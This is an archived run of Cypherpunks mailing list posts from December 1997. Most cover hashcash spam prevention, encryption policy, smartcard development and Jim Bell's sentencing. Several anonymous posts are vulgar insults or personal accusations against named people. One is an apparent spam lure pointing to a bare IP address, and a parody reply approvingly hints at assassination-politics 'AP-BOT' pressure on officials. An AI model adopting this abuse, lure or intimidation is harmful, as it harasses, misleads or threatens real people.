> will work in any event.

Technical solutions to spam are not easy.

However hashcash is reasonably flexible in what you can do with it,
and real payee and payer anonymous ecash even more so, and I figure we
ought to give it a go because the non-technical solutions involve
low-life politicians trying to solve the spam problems for us, and
introducing legislation giving jail time for forged From fields,
trying to introduce internet drivers licenses, and deputising ISPs to
try to enforce the mess.  It is unclear how remailers would fare in
such a scenario.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 14 Dec 1997 08:32:37 +0800
To: rfarmer@HiWAAY.net
Subject: profit from spammers (Re: hashcash spam prevention & firewalls)
In-Reply-To: <Pine.OSF.3.96.971213120112.17974C-100000@fly.HiWAAY.net>
Message-ID: <199712132332.XAA03725@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Randall Farmer masquerading as Joe <rfarmer@HiWAAY.net> writes:
> > What's the difference between this and simply keeping track of how many
> > messages each user sends in a 24 hour period and blocking people who are
> > obviously spamming?
> 
> Spammers don't have to appear to be the same person every time, nor
> do their messages have to be identical or even similar, so blocking
> of that kind can be worked around fairly easily -- at least more
> easily than hashcash.

I think Phelix was probably viewing it from the point of view if "what
if all ISPs turned off non subscriber mail forwarding at their SMTP
hubs"?

Well that would work clearly enough.  However I think there are a
number of technical problems to acheiving this.  Firstly SMTP does not
include authentication.

Secondly doing so reduces flexibility and many users use multiple
ISPs, forward their mail to various places, etc., and this kind of
stuff gets in the way.

Really we I think should be discouraging the control freak "positive
identification to use this port" syndrome such as the ident fuck up,
(Ident is a dumb method of identifying who is on the other end of a
socket on a unix box.  It opens up a socket to the ident port on the
originating machine, and asks who is on socket x port y?  The machine
can determine this from local OS tables, and sends the info back.
This works if the user does not have root on the machine.  Fortunately
this snoopy bastardised protocol is not doing so well these days
because there are more and more people who have root on their own
machines, and because there are so many windows machines which don't
know what a protected port number is.  This is good because Ident
sucks.) and moving instead towards, "who cares you are so long as you
can't overload my machine".  Moving longer term towards "who cares who
you are so long as I profit from your connecting to this port" aka
charge for port access with payer and payee anonymous ecash.  Then
everyone is welcome to use anywhere as a mail forwarding service --
spam becomes welcomed, and encouraged, too much custom and too low
bandwidth discouraging customers, the ISP will use the profits to
purchase a few more T3s.

Hashcash is the interim solution.

In the interim it is a fact of life that there are many many open SMTP
forwarding hubs.  The lack of software to configure them otherwise,
and inertia will ensure things remaing this way for some time.

Hashcash cuts out spam to your site (if you are an ISP), or to your
mailbox (if you are a user) even in an environment of an almost
unlimited supply of open SMTP hubs, and disposable ISP accounts,
because it puts the onus on the sender to consume more resources than
you.

Authenticated the hell out of your ISP's SMTP as a forwarding hub
won't prevent your users getting spammed to death, nor will it reduce
the overall spam problem much because the spammers will just use one
of the other open SMTP servers.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 14 Dec 1997 08:34:53 +0800
To: bill.stewart@pobox.com
Subject: supeona immune postage free list (Re: hashcash spam prevention & firewalls)
In-Reply-To: <3.0.3.32.19971213101329.007794a0@popd.ix.netcom.com>
Message-ID: <199712132340.XAA03750@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Bill Stewart <bill.stewart@pobox.com> writes:
> It also creates a valuable soft-target traffic analysis database;
> unlike current sendmail logs, it'll probably stick around for an
> extended period of time, and be readily subpoenaed.

I think I figured out a solution to this nasty problem prompted by
Robert Costner's comments:

How about this alternative which achieves the same functionality and
removes the juicy supeona target:

Turn on hashash database for all mails.  That means hashcash gets put
in the database to prevent double spending.  (If we don't do this
spammers will club together and do one mega-spam reusing the same
hashcash they generated with their spam fest motivated CPU farm and
hit you with spam from many addresses, or all forged as from the same
address or whatever).

So now when you reply to a message, on it's way out via the mail hub,
mark the hashcash token as reusable.  This means that the sender can
cache sent hashcash tokens, and re-use them when after he gets a
reply.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 14 Dec 1997 08:32:42 +0800
To: pooh@efga.org
Subject: message dependent hashcash => no double spend database (Re: hashcash spam prevention & firewalls)
In-Reply-To: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net>
Message-ID: <199712132348.XAA03770@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Robert Costner <pooh@efga.org> writes:
> Does the same hashcash that allows a message to enter the remailer network
> also retain it's validity once the message has been rewritten by the
> remailer?  Is this hashcash still valid for the destination mail server at
> netcom?  Does the initial sender provide two instances of hashcash, one to
> get into the remailer, and one to get into the destination mail system?

The latter.  The originator provides all postage for one way
remailers.

Nym reply block postage needs other mechanisms as described in a
previous post.

> Various remailers can distort a message in a variety of ways.  Dropping of
> MIME attachments, munging of email addresses when CC'ed to a newsgroup,
> adding a PGP signature or timestamp, adding headers that explain it's a
> remailer, adding footers that explain it's a remailer.  Since the actual
> message can change, it seems that for hashcash to be message dependent, it
> would have to be generated by the exit remailer.

Making the hashcash message dependent is interesting in that it
removes the need for a double spending database, because apart from a
DoS attack it is not interesting to the spammer to send you multiple
copies of the same mail, and in previous discussions someone suggested
it for this reason.

However, generally I have been assuming that it's easier to have a
double spend database, and to make the hashcash depend only on the
resource name for the kinds of problems you raise, and because it is
cheaper to verify hashcash on shorter strings.  By resource name I
mean whatever it is that is being used.  For an email address it is
the email address, for a remailer it is the remailers address.  Could
be generalised for other purposes, for example free use of web based
resources or even telnet based TCP/IP protocols in general.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 14 Dec 1997 08:33:29 +0800
To: schear@lvdi.net
Subject: Re: remailer hashcash spam prevention
In-Reply-To: <v03102800b0b87ebad87a@[208.129.55.202]>
Message-ID: <199712140012.AAA03831@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Steve Schear <schear@lvdi.net> writes:
> I disagree that the best way to implement hashcash is solely via the SMTP
>  mechanism.

It is nicest to implement the blocking at the SMTP agent if this can
be done in a privacy preserving manner, because it reduces the
bandwidth consumption for users, and reduces the complexity of their
local software -- they only need to generate hashcash for outgoing
mail.

> Almost any efficient hashcash mechanism will require some sort of history
>  file, or "invited list," to allow mail lists and those we have corresponded
>  with to continue to do so w/i having to supply hashcash each time.  This
>  list contains information which might have privacy implications and so
>  should not be stored at the ISP, which can be forced to reveal such info
>  w/o the knowledge of the client.

See my post to Bill Stewart with 

	Subject: supeona immune postage free list

I think you can construct ways to allow the ISP to reject messages
without postage, and to allow frequent users to be exempt, and to do
this such that there is no invited list which becomes a juicy target.

> If 'open' list policies were changed so that anyone could post if they
>  supplied enough hashcash for each mailing list recipient for their first 1
>  or 2 posts, and thereafter no longer needed to supply hashcash (sort of
>  minimum reputation capital), it might eliminate hit-and-run or throw-away
>  account SPAMers without offering too high a hurdle to new or infrequent pos
> ters.

That is an interesting thought.  Well the interesting thought is that
it gives us a way to block spam at the list server, because a) the
spammer has to overcome the hurdle you described, and b) the list
operator could punish spammers who started spamming once getting over
the hurdle by blocking them.  The usual trick of switching to a
different address, or a remailer would not work because they would
still have to generate a new hashcash coin as the list operator could
block the coin.

I would however think that a large denomiation coin made out to the
list server would make more sense than generating lots of coins for
all of the list subscribers.

However there is a nasty side to the above, in that it encourages the
list operator to censor posts he considers spam.

It would be simpler and I think tend to less encourage censorship to
introduce a third party filtering service such as Ray Arachellian's,
and the other one, which had an option to have only spam filtered out.

At this moment in time the spam content on mailing lists I am on is
very low.  I get much more in email.

Doubtless this would change when spammers discovered that email spam
is too CPU expensive to use.

Also hashcash really doesn't work well for USENET.  NoCeM's are cool
things for USENET, a distributed ratings system, and I understand can
be configured to work for mailing lists also.

> Since most popular email clients allow plug-ins (e.g. Eudora) or extensions
>  via Java/ActiveX, providing hashcash functionality via a plug-in and the
>  java generators you propose would provide a simple mechanism to test its
>  effectiveness w/o needing to involve the IETF.  

You can do a lot with local SMTP and POP3 proxies.

There are a couple of java ones around.

Anyone know if there is code available to do SMTP and POP3 proxying?

I am told by one subscriber to look at TIS firewall toolkits imap
program.

> The shortcoming of a
>  plug-in approach is that few newbies will know of it or install it and will
>  therefore have to wait till its built into the new release of whatever
>  client they use or until some or all of the features are supplied by their
>  ISP, 

Yes, this problem is the motivation for trying to work out ways that
as much as possible could happen at the ISP side for less technical
users, and even for technical users, I know few people are interested
to install new software.

Also ISPs often seem more concerned about spam abuse than users.

> allowing those calling regulation to continue to blow their horns. 
>  However, if after a successful cypherpunk beta we could get the major email
>  client companies (Netscape, M$ and Qualcomm) to include our plug-ins with
>  all their new updates and offer them for free download from their Web
>  sites, it could quickly steal the CAUCE folk's thunder.

It would be cool if we could pull that one off.

Do we have anyone on list who is familiar with eurdora, qualcomm and
netscape plugins who would like to interface a hashcash library to
these systems?

Anyone who can write java applets want to implement a java hashcash
library?  (Should be easy.. jdk1.1.3 includes a sha1 function ... I am
not sure if this is included with netscape 4 or not, but there are
also numerous sha1 native java codes around, www.systemics.com being
one).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 14 Dec 1997 08:28:30 +0800
To: m2n@alpha.jpunix.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <199712121926.UAA10480@basement.replay.com>
Message-ID: <199712140019.BAA21646@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> X-No-Archive: yes

> :Read it for yourself:
> :
> :-> I still don't know what the hell is going on with DataBasix, Wells Fargo
> :-> and Gary Burnore, but I suspect that someone used huge.cajones to say
> :-> something extremely unflattering about Burnore (from what I can tell,
> :-> he had it coming).  Burnore then decided that he would make things
> :-> difficult for me.  First, he wanted the user who had posted something
> :-> "inflammatory" about him revealed.  When I told him that I couldn't
> :-> do that, he carried on about mail logs and identifying the host that
> :-> a message came from (the usual).  I didn't explain to him that my
> :-> machine keeps logs, but not anything involving a *@cajones.com
> :-> address.  He then requested the logs, which I denied (and told him
> :-> to get his lawyer to send a request...)
> :
> :Here comes the key part:
> :
> :-> Between the time he first contacted me, and the time I received the
> :-> letter from Belinda Bryan, is when the baiting of databasix addresses
> :-> began (slowly, with just a few posts).
> :
> :It appears that his account differs from yours.
>  
> It appears you still censor what others say by omission.  It was said then and
> is still true now that the UCE-Baiting was NOT ONLY COMING FROM huge.cajones.
>  
> Oh, btw, since Jeff Burchell had no logs, Jeff wasn't aware of what went on
> before he was notified that it was going on.
>  
> (DUH)

That has got to be one of your most asinine assertions in awhile!  Maybe at
DataBasix logs are a recognized substitute for intelligence, but apparently
it is not universally so.  Had any of the abuse you allege been occuring at
Jeff's remailer, I'm quite sure that anyone "abused" would have complained to
him.

You're still beating around the bush.  You claimed that it was this so-called
"spam baiting" that you were trying to stop, but Jeff has pointed out that
you demanded a copy of his logs BEFORE any of it came through his
remailer.  According to him, you demanded that he turn over his logs and thus
violate his users' privacy because of a single "unflattering post" for which
you were trying to hunt down the author.  So what did you intend to do with
all those names and addresses?  If the Church of Scientology didn't succeed
in their attack on the privacy of Jeff's remailer users, what made you think
that DataBasix would succeed?  Belinda Bryan's legal skills being "superior"
to those of Scientology lawyer Helena Kobrin, perhaps?

And as far as this "spam bait" that you keep whining about coming from other
sources, you aren't going to repeat your old accusations that it was "forged"
from Mailmasher, are you?  The person who fabricated that "evidence" shot
himself in the foot and tried to frame the wrong target.  Mailmasher wasn't
even a remailer and had no header pasting capability.  Mailmasher's attacker
(none other than DataBasix' own Billy McClatchie) should have done his 
homework first.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 14 Dec 1997 14:28:01 +0800
To: cypherpunks@toad.com
Subject: Nobody will debate John Gilmore on crypto?
Message-ID: <v03007814b0b92aacdb02@[204.254.21.75]>
MIME-Version: 1.0
Content-Type: text/plain



[John Gilmore stopped by for this afternoon's crypto gathering to update us
on the Bernstein lawsuit. Seems odd to me that he can't find someone to
defend the administration's stance on encryption, especially since NSA's
headquarters is close to the University of Maryland. --Declan]

==============

Subject: Gilmore speech in Baltimore on encryption policy, Tues night
   Date: Sat, 13 Dec 1997 21:35:12 -0800
   From: John Gilmore <gnu@toad.com>
     To: cme@cybercash.com, declan@well.com

From: "Dr. Alan Sherman" <sherman@cs.umbc.edu>

   The UMBC Security Technology Research Group presents

        Two Divergent Views on Encryption Policy:

I.  Wisdom and Constitutionality in U.S. Cryptography Policy
 John Gilmore, Co-Founder, Electronic Frontier Foundation

II. A Government Perspective on Encryption Policy
 [Will anyone from the U.S. Government agree to speak??*]

Two divergent views on the topic of encryption policy by
freedom activist John Gilmore and by a government official,
if one agrees to speak.  Journalist Peter Wayner will
moderate the event, which is free and open to the public.
  Note: If no one from the U.S. Government is willing to
explain and discuss Government encryption policy, then the
event will proceed with John Gilmore alone.

  8-10:30 pm
  Tuesday, December 16, 1997
  Lecture Hall III (in Administration Building)
  University of Maryland Baltimore County
  http://www.cs.umbc.edu/events/fall97/crypto.shtml

The fifth employee of Sun Microsystems and a strong believer
in the U.S. Constitution, John Gilmore is currently involved
in litigation against several government agencies over
matters of freedom of information, freedom of expression,
and encryption policies.  He will discuss the
constitutionality of controlling encryption.

Directions: Take Exit #47B off interstate I-95 and follow
signs to UMBC.  LH III is on the ground floor of the (tall)
administration building, adjacent the visitor's parking
lot, near the I-95 entrance to UMBC.

Host: Dr. Alan T. Sherman
      Associate Professor, Computer Science
      sherman@cs.umbc.edu
      http://www.umbc.edu
      (410) 455-2666

     This event is held in cooperation with the UMBC
               Intellectual Sports Council
                       Honors College
               Phi Beta Kappa honors society
                   CMSC Council of Majors
                   IFSM Council of Majors

* The following U.S. Government officials declined to speak on December 16:

Barry Smith (Supervisory Special Agent, FBI)
   [Mr. Smith has agreed in principle to speak at UMBC in the spring on
    a law enforcement view of encryption policy;  the evening of
    Dec 16 turned out to be a bad time for him.]
William Reinsch (Undersecretary for Export Administration, BXA)
Bob Litt (Attorney General's Office, DoJ)
Scott Charney (Computer Crimes, DoJ)
Bruce McConnell (Information Policy, OMB)
Ron Lee (General Counsel, NSA)
Dr. Clint Brooks (Director, Cryptographic Policy, NSA)
Charlotte Knepper (Co-Chair, Inter-Agency Working Group on Encryption Policy)
Chris McLean (Staffer for Senator Bob Kerry;  helped draft legislation
  on encryption policy)

I am still hopeful to find a second speaker by Tuesday evening.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 14 Dec 1997 14:33:35 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Radio Free Cypherpunks...
In-Reply-To: <199712131413.IAA22334@einstein.ssz.com>
Message-ID: <v0300780ab0b86edb464b@[204.254.21.75]>
MIME-Version: 1.0
Content-Type: text/plain



At 08:13 -0600 12/13/97, Jim Choate wrote:
>With the recent changes in the law regarding Pirate Radio is anyone looking

What changes? At the Cato Institute holiday party last night, I was
speaking to a lawyer from the Institute for Justice about pirate radio
lawsuits. The changes you mention didn't come up. What are they?

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 14 Dec 1997 08:44:05 +0800
To: m2n@alpha.jpunix.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <3491b371.83978414@nntp.best.ix.netcom.com>
Message-ID: <199712140036.BAA23775@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"Sam" <sam-001@dpinc.ml.org> wrote:

> >:That's because there AREN'T any.  Again, what are his motives in shutting
> >:down something that he obviously considers to be a valuable asset?
> >
> > OBVIOUSLY?  Why obviously? Obviously because he says so?
>  
> Obviously, as in being very apparent, based upon his actions.

"Obvious" because I'm the one using a remailer as a communications medium.  To
attempt to destroy my own means of communications would be ludicrous.  Gary,
on the other hand, has stated that he does NOT use remailers.  He would thus
have nothing to lose if any/all of them were closed down.  It would be
similarly ludicrous (though perhaps less so) to accuse Gary of annoying,
flaming, and accusing people as part of a scheme to get Netcom shut down.

Interestingly enough, Belinda Bryan, out of the blue, recently taunted a 
poster to  netcom.general by saying, "Are you going to use anonymous 
remailers to attack Gary next?".  It's almost as if the crew at DataBasix is 
INVITING "abuse" via remailers,  and it has had an uncanny knack for appearing 
right on cue from them in the past, too. (Just like the so-called "spam bait" 
started showing up right after Gary's initial demand to Jeff that he turn over 
his logs to DataBasix.)

Nor does it make sense that if I wanted to get remailers shut down, I'd limit
myself to criticizing one little obnoxious clique on usenet, namely the 
DataBasix Gang.  I doubt that anyone is likely to arouse a hue and cry against 
remailers from the masses by criticizing Gary, Belinda Bryan, and Billy 
McClatchie ("Wotan") anonymously.

> > "Obviously because if he didn't find them valuable he wouldn't be using them"?
> > So when he (and others) uses them to spam bait, is that finding them valuable?
>  
> I do not recall any conclusive proof being posted, or even circumstantial
> evidence, that he was responsible for spam baiting.

Back when the alleged "spam baiting" was going on, Gary and Belinda were
accusing "rfg" of doing it.  For awhile, they accused Scott Dentice. Now
they've gotten tired of accusing named individuals and have invented a
mythical "anon asshole" who is supposedly responsible for just about
everything imaginable.  (I'm supposedly the latest re-incarnation of this
evil, mean ogre.)  Since Gary is adamant about there being one and only
one "anon asshole" responsible for all of this, at least one of his
accusations against people he's named in the past must have been a lie.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 14 Dec 1997 14:51:56 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <ee55d298e592755d411c6ddce6e28ab3@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Foulmouthed Timothy May rehashes his lies like a rabid parrot 
choking on a stale mantra stuck in its poisonous beak.

          o/    \  /    \ /     /      \o
         /#      ##o     #     o##      #\ Timothy May
         / \    /  \    /o\    / |\    / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 14 Dec 1997 18:44:35 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Fw: Jim Bell Sentenced (fwd)
In-Reply-To: <Pine.BSF.3.91.971214013450.2536A-100000@gabber.c2.net>
Message-ID: <3.0.2.32.19971214022601.037fc8dc@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain



Phillip M. Hallam-Baker <hallam@ai.mit.edu> wrote:

>FC folk may find this interesting. What Jim Bell was charged
>with and admitted was planning and executing attacks on the
>IRS.

No, that's not correct. He was charged with (and plead guilty to)
obstructing an IRS agent (26 USC 7212(a)) and misuse of a Social Security
number (42 USC 408). The "attack" he admitted to executing consisted of
applying a stinky chemical to the doormat of an IRS office. (see
<http://jya.com/jimbell-dock4.htm> for more.)

>His 'Assasination Politics' essay was used to demonstrate
>motive (amongst other things).

That doesn't make any sense - it could conceivably have been introduced to
demonstrate intent, or state of mind .. but not motive, at least in the
absence of evidence that an active assassination market existed, and the
prosecution apparently didn't see fit to mention such evidence to the
press, nor to the judge at sentencing.

But it's misleading to say that the essay was used to "demonstrate"
anything, as it was never introduced into evidence - there was no trial.
Jim plead guilty and was sentenced based upon the arguments of his counsel,
the prosecutor, and the probation department's presentence report. It's
interesting to note that the prosecutor and the defense concurred in
recommending to the judge that Jim receive a sentence at the low end of the
permissible range, while the probation department (which acts as an
"attitude police") urged a sentence of 27 months, at or near the upper end
of the applicable guidelines.

Jim's analysis of AP and its relationship to our legal/political/social
structure was poor, and his behavior juvenile and indefensible. He did not,
however, present a credible threat to the IRS, nor should he be punished
more harshly because of his political views/ideas.

We should not let distaste/disgust for Jim's ideas and tactics blind us to
the important legal and constitutional questions lurking beneath the
surface of this investigation and prosecution - there's some possibility
that the IRS used its investigation of Jim as a threat to other prolific
authors on the Internet.

For example, copies of the press release announcing the raid on Jim's home
were mailed, apparently from computer systems inside the IRS, to
individuals active on the Cypherpunks list. The IRS has never before (or
since) bothered to notify those individuals about criminal investigations
which might otherwise be of interest. One easy conclusion to reach is that
the raid was intended to chill those individuals' expressive activity on
the Net with respect to Jim and his ideas and the interplay between
taxation and anonymity and cryptography.

Further, it's worth considering carefully the relationship between Jim's
legitimate and constitutionally protected political speech and the criminal
trial process. To what extent did Jim's outspokenness about the IRS
influence its interest in investigating and prosecuting him? To what extent
was his protected speech used to argue that he was ineligible for release
on bail pretrial? To what extent did his extended pretrial incarceration
pressure him to plead guilty? (Note that as of his sentencing on 12/12,
he's already served almost 80% of his term of incarceration.) To what
extent did his protected speech influence the probation department to
recommend a sentence two and half times as long as that proposed in the
plea agreement negotiated by the prosecution and defense? To what extent
will his protected speech be used to measure his compliance with the terms
of his supervised release?

Assuming that one considers a stinkbomb "force", it seems beyond dispute
that Jim is in fact guilty of the charges against him - so it's difficult
to argue that he was, in fact, wrongfully convicted. But it's also
difficult to argue that, but for his AP essay(s), he'd never have attracted
the attention nor scrutiny of the IRS, and hence never have been
prosecuted. In effect, he's guilty of violating common sense - he shouldn't
have drawn attention to himself if he wasn't prepared for a certain amount
of scrutiny. But cases like Jim's demonstrate that there's a considerable
gulf between the high-school-civics-class idea that we are all equal before
the law and the practical world of the criminal trial system. Jim was
treated specially at every stage of this process because of what he's
written, and that should make every person who values free political
expression uncomfortable. Jim's case demonstrates that we're moving closer
to a country where one can be prosecuted for thoughtcrime. And that,
indeed, should be of interest to FC list members.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sun, 14 Dec 1997 10:08:51 +0800
To: Alan <alan@clueserver.org>
Subject: Re: Smartcard update
In-Reply-To: <Pine.LNX.3.95.971213171014.31808B-100000@www.ctrl-alt-del.com>
Message-ID: <Pine.BSF.3.96.971214024451.27437A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 13 Dec 1997, Alan wrote:
> What kind of cash outlay would I be looking at for doing smartcard
> development?  What do the needed parts run?  Any recomendations on
> suppliers?  Places to avoid?

You can get started for ~$100. You need:
o Smartcard reader. You can sodder one yourself from the specs we have
online, or you can buy  one of the commercial reader we support. [To all
of you with commmercial readers we don't already support; how about
writing a table for our reader abstraction layer]?

We currently support the home-built Dumb Mouse, Schlumberger, Gemplus, and
Phillips readers. Either one of these outfits will sell you one of their
readers for ~$100. They are all equally capable. It doesn't matter
which one you get. The Gemplus reader looks the coolest. Email me if you
need a contact address.

o ISO7816-[3,4] -3 is online, -4 isn't yet, pending a good copy that can
be scanned. But you can get by with just 7816-3.  I am.

o A smartcard, ideally with programmer reference manual. Gemplus will send
you their reference in PDF and a sample GPK4000 (sig only) for free. 
Schlumberger will sell you 4 CryptoFlex cards for $80, but requires an NDA
for the manual. Bull is between card revisions and doesn't really have any
intresting crypto cards at the moment. Same with Siemens. If your interst
is more towards cash cards, we already have  support for Chipknip
(Proton). Beyond that, you are on your own. But if it speaks ISO7816, you
can write an STEST table for it. In fact, you can write the table from the
manual without ever touching a card. But this  is less gratifying. Still,
we would be thankful for any and all tables  added to STEST.

More info (the site needs updating)  is at
https://www.cypherpunks.to/scard/

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anonymous@replay.com
Date: Sun, 14 Dec 1997 21:11:45 +0800
To: cypherpunks@toad.com
Subject: I can't believe this!
Message-ID: <B0000459181@mx1.outpost.net>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous,

I can't believe this

I came across this on the Web. Is this really you? Check out this URL!


http://206.129.140.93/iic.htm?BS=BS971214_17953.88894262

That's pretty incredible. Way to go!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jenaer Mixmaster Anonserver <mixmaster@as-node.jena.thur.de>
Date: Mon, 15 Dec 1997 10:18:14 +0800
To: cypherpunks@cyberpass.net
Subject: Gates of Hell
Message-ID: <m0xh5Ld-00041QC@as-node.jena.thur.de>
MIME-Version: 1.0
Content-Type: text/plain



I'd always wondered how Bill Gates could shit with that pole so far up his ass. 
Then I realized: The pole is too long to be completely embedded in his ass and 
he uses the other half of it to rape computer users everywhere on a regular 
basis. And since the pole is crammed in his ass he can't shit, so he just 
retains his shit, making him incredibly anal retentive. I'm sure he enjoys
this.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Mon, 15 Dec 1997 00:07:38 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Revisited
Message-ID: <199712141555.HAA15012@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>Gag Broiled wrote:
>>Phillip M. Hallam-Baker <hallam@ai.mit.edu> wrote:
>>>FC folk may find this interesting. What Jim Bell was charged
>>>with and admitted was planning and executing attacks on the
>>>IRS.
>>
>>No, that's not correct. 

  Half-Baked knows that, but with his bowling-mentality, he thinks
he has a better chance of throwing a strike if he puts a little spin
on his balls, while twisting Jim's.

>>He was charged with (and plead guilty to)
>>obstructing an IRS agent (26 USC 7212(a)) and misuse of a Social Security
>>number (42 USC 408). The "attack" he admitted to executing consisted of
>>applying a stinky chemical to the doormat of an IRS office. (see
>><http://jya.com/jimbell-dock4.htm> for more.)

  Was that FELONY 'Making a bad smell'? I farted in an IRS office once
(on purpose). Am I a Jim Bell co-conspirator? 
  Are my armpits considered a felony or a misdemeanor?

  The government misuses my Social Security Number to steal my money.
Where do I press charges? Can I place airline employees under citizen's
arrest when they demand it?

>>It's
>>interesting to note that the prosecutor and the defense concurred in
>>recommending to the judge that Jim receive a sentence at the low end of the
>>permissible range, while the probation department (which acts as an
>>"attitude police") urged a sentence of 27 months, at or near the upper end
>>of the applicable guidelines.
>>
>>Jim's analysis of AP and its relationship to our legal/political/social
>>structure was poor, and his behavior juvenile and indefensible. He did not,
>>however, present a credible threat to the IRS, nor should he be punished
>>more harshly because of his political views/ideas.

  Winter winds blow both ways.

>>We should not let distaste/disgust for Jim's ideas and tactics blind us to
>>the important legal and constitutional questions lurking beneath the
>>surface of this investigation and prosecution - there's some possibility
>>that the IRS used its investigation of Jim as a threat to other prolific
>>authors on the Internet.

  The government's armed assault on Ma and Pa Bell's residence took place
within hours of an email being sent to him containing a rough draft of
a chapter of an InterNet published manuscript describing and lauding
Bell's AP system.

>>For example, copies of the press release announcing the raid on Jim's home
>>were mailed, apparently from computer systems inside the IRS, to
>>individuals active on the Cypherpunks list. The IRS has never before (or
>>since) bothered to notify those individuals about criminal investigations
>>which might otherwise be of interest. 

  It is interesting to note that the emails from treasury.gov constituted
the same type of 'threat' that Bell was roundly accused of by government
officials and the press.

>>One easy conclusion to reach is that
>>the raid was intended to chill those individuals' expressive activity on
>>the Net with respect to Jim and his ideas and the interplay between
>>taxation and anonymity and cryptography.

  The winter wind blows both ways.
  It is also easy to reach the conclusion that the AP-BOT results sent to
the Oregonian and to the officials involved (via their internal email
systems) played a hand in the judges 'vacation' before Bell's delayed
sentencing. (Or that petty government officials involved in Bell's case
were not impressed with the fact that they were becoming the source of
valuable digital prizes in the AP-BOT community, without receiving the
same protection as those who were behind the criminal malefeasance
directed at Bell.)

>>Further, it's worth considering carefully the relationship between Jim's
>>legitimate and constitutionally protected political speech and the criminal
>>trial process. To what extent did Jim's outspokenness about the IRS
>>influence its interest in investigating and prosecuting him? To what extent
>>was his protected speech used to argue that he was ineligible for release
>>on bail pretrial? To what extent did his extended pretrial incarceration
>>pressure him to plead guilty? 

  Bell's persecution was straight out of the spook's political torture-
indoctrination handbook. The only difference is that many aspects of the
turning of Bell's thumbscrews were made public (just before tax-time,
surprise, surprise).

>>To what extent
